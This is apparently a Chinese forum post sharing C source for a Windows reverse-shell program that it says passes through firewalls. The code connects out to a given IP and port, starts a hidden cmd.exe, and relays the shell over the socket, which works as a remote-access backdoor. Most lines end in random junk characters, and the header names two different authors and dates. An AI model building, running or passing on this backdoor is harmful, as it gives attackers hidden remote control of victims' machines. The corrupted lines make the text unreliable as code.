这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t@(:S6d
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/* ============================== DjLSl,Z
Rebound port in Windows NT \:mZ)f3K=
By wind,2006/7 >PbB /->
===============================*/ VZz>)Kz:
#include |7CFm
#include gI T3A*x
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#pragma comment(lib,"wsock32.lib") {D{'
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void OutputShell(); X;/5Niv32q
SOCKET sClient; HuI?kLfj\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x*#9\*@EI
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void main(int argc,char **argv) '}5Yc,
{ 9 $&$Fe
WSADATA stWsaData; fW3awR{
int nRet; H13kNhV9
SOCKADDR_IN stSaiClient,stSaiServer; <*Bk.>f!
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if(argc != 3) %G`GdG}T
{ h_y;NB(w
printf("Useage:\n\rRebound DestIP DestPort\n"); UJ?qGOM3x>
return; ^[g7B"`K5
} SJ8CBxA
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WSAStartup(MAKEWORD(2,2),&stWsaData); NsN =0ff
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &_dM2lj{
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stSaiClient.sin_family = AF_INET; ;&} rO.0
stSaiClient.sin_port = htons(0); [bh8Nj\E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); aovw'O\Q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M"\j7(
{ ;)XB'
printf("Bind Socket Failed!\n"); kn9e7OO##
return; w!--K9
} "CY#_)
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stSaiServer.sin_family = AF_INET; z@Uf@~+U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HP(dhsd<c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~cH3RFV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8Cef ]@x
{ c`O(||UZT
printf("Connect Error!"); ! _p(H
return; :lE_hY
} zEy,aa:M
OutputShell(); oY<R[NYKu
} x2h5,.K
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void OutputShell() EWC{896,
{ []l2
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char szBuff[1024]; T*{nf
SECURITY_ATTRIBUTES stSecurityAttributes; x%RG>),U
OSVERSIONINFO stOsversionInfo; .I %`yhCW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h/pm$9A
STARTUPINFO stStartupInfo; Z/G?wD|B
char *szShell; "ph<V,lg
PROCESS_INFORMATION stProcessInformation; ;ZoEqMv
unsigned long lBytesRead; +x]3 -s
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); brEA-xNWQ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oM(8'{S=
stSecurityAttributes.lpSecurityDescriptor = 0; bPA >xAH
stSecurityAttributes.bInheritHandle = TRUE; F3e1&aK6{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'h87A-\!F
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b_Dd$NC
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {Jc.49
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W <u,S
stStartupInfo.wShowWindow = SW_HIDE; 2 9#jKh
stStartupInfo.hStdInput = hReadPipe; /m|U2rrqb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p(!d,YSE
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GetVersionEx(&stOsversionInfo); 7yQw$zG,Iz
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switch(stOsversionInfo.dwPlatformId) {s>V'+H(F
{ a4&Aw7"X
case 1: $.x,[R
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szShell = "command.com"; 2(U;{;\n*
break; hgK
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default: l5/gM[0_7
szShell = "cmd.exe"; .Ta (v3om%
break; 8d7 NESYl
} \Oxyc}&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;;|.qgxc~
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send(sClient,szMsg,77,0); /2'l=R5#
while(1) r+k g$+%b
{ !Ahxi);a
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S ,x';"
if(lBytesRead) ]\y]8v5(
{ WbwwI)1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p\R&vof*
send(sClient,szBuff,lBytesRead,0); 6Ey@)p..E
} O(6j:XD
else V8#NXUg<!
{ 6{quO#!
lBytesRead=recv(sClient,szBuff,1024,0); 5^K\<+{~B
if(lBytesRead<=0) break; /0o#V-E)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L{rd',
} ( k,?)
} fejC,H4I
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return; /+1(,S
}